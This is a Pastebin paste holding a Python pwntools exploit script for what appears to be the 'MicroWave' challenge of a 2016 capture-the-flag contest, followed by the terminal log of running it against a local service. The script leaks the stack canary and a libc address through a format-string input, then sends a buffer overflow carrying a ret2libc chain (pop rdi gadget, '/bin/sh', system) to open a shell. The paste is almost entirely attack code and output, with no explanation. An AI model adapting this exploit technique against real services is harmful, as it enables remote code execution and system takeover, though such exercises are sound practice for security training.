Advertisement
Guest User

Untitled

a guest
Jan 19th, 2017
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.16 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. from pwn import *
  4.  
  5. proc = connect("127.0.0.1",6642)
  6.  
  7. user = "%p.%p.%p.%p.%p.%p.%p.%p.%p"
  8. passw = "n07_7h3_fl46"
  9.  
  10. try:
  11.     print proc.readuntil(":")
  12.  
  13.     proc.sendline("1")
  14.  
  15.     print proc.recvuntil("username:")
  16.  
  17.     proc.sendline(user)
  18.     print proc.recvuntil("password:")
  19.     proc.sendline(passw)
  20.  
  21.     #print proc.recv()
  22.  
  23.     data =  proc.recvuntil(":")[11::].split('.')
  24.  
  25.     print ' '.join(data)
  26.  
  27.     canary = data[5]
  28.     libc_leak = data[1]
  29.     code_addr = data[8]
  30.     log.info("Code leak address %s",code_addr)
  31.     log.info("Canary address %s",canary)
  32.     log.info("Libc address %s",libc_leak)
  33.  
  34.     code_offset = 0x179a010
  35.     libc_offset = 0xf66e0
  36.     libc_base = int(libc_leak,16) - libc_offset
  37.  
  38.     log.info("Libc base address %s",hex(libc_base))
  39.  
  40.     proc.sendline("2")
  41.  
  42.  
  43.     print proc.recvuntil("#>")
  44.  
  45.     #sleep(40)
  46.  
  47.  
  48.     g1 = libc_base + 0x0000000000021102 # pop rdi ; ret
  49.  
  50.     payload = 1032 * "A"
  51.     payload += p64(int(canary,16))
  52.     payload += "B" * 8
  53.  
  54.  
  55.     bin_sh = libc_base + 0x18c178
  56.     system = libc_base + 0x45390
  57.  
  58.     log.info("/bin/sh address %s", hex(bin_sh))
  59.     log.info("system address %s",hex(system))
  60.     log.info("Gadget address %s",hex(g1))
  61.  
  62.     payload += p64(g1) #pop rdi ;ret
  63.     payload += p64(bin_sh)
  64.     payload += p64(system)
  65.     payload += "B" * 8
  66.  
  67.  
  68.     #sleep(40)
  69.  
  70.     proc.sendline(payload)
  71.  
  72.     proc.interactive()
  73.  
  74. except EOFError:
  75.     pass
  76.  
  77. xothed@xoth:~/CTF/Insomni2016$ python micexp.py
  78. [+] Opening connection to 127.0.0.1 on port 6642: Done
  79.  
  80.  --------------------------------------------------------
  81.  |     Welcome to the next generation of MicroWaves!    |
  82.  |                         ***                          |
  83.  | This stylish Microwave with Grill function, includes |
  84.  |      a function that tweets your favourite food!     |
  85.  |                         ***                          |
  86.  --------------------------------------------------------
  87.            ----------------------------------
  88.            |  1. Connect to Twitter account |
  89.            |  2. Edit your tweet            |
  90.            |  3. Grill & Tweet your food    |
  91.            |  q. Exit                       |
  92.            ----------------------------------
  93.  
  94.            [MicroWave]:
  95.  
  96.            Log in on Twitter:
  97.            username:
  98.             password:
  99. 0x7f06d832e780 0x7f06d805f6e0 0x7f06d852c700 0xa (nil) 0xa024f8f28952e700 0x7f06d832d708 0x7f06d832d710 0x55fec783f010
  100. Twitter account
  101.            
  102.            ----------------------------------
  103.            |  1  Connect to Twitter account |
  104.            |  2  Edit your tweet            |
  105.            |  3  Grill & Tweet your food    |
  106.            |  q  Exit                       |
  107.            ----------------------------------
  108.  
  109.            [MicroWave]:
  110. [*] Code leak address 0x55fec783f010
  111.     Twitter account
  112. [*] Canary address 0xa024f8f28952e700
  113. [*] Libc address 0x7f06d805f6e0
  114. [*] Libc base address 0x7f06d7f69000
  115.  
  116.            #>
  117. [*] /bin/sh address 0x7f06d80f5178
  118. [*] system address 0x7f06d7fae390
  119. [*] Gadget address 0x7f06d7f8a102
  120. [*] Switching to interactive mode
  121.  
  122.            Done.
  123. $  [*] Got EOF while reading in interactive
  124.  
  125. $ ls
  126. [*] Closed connection to 127.0.0.1 port 6642
  127. [*] Got EOF while sending in interactive
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement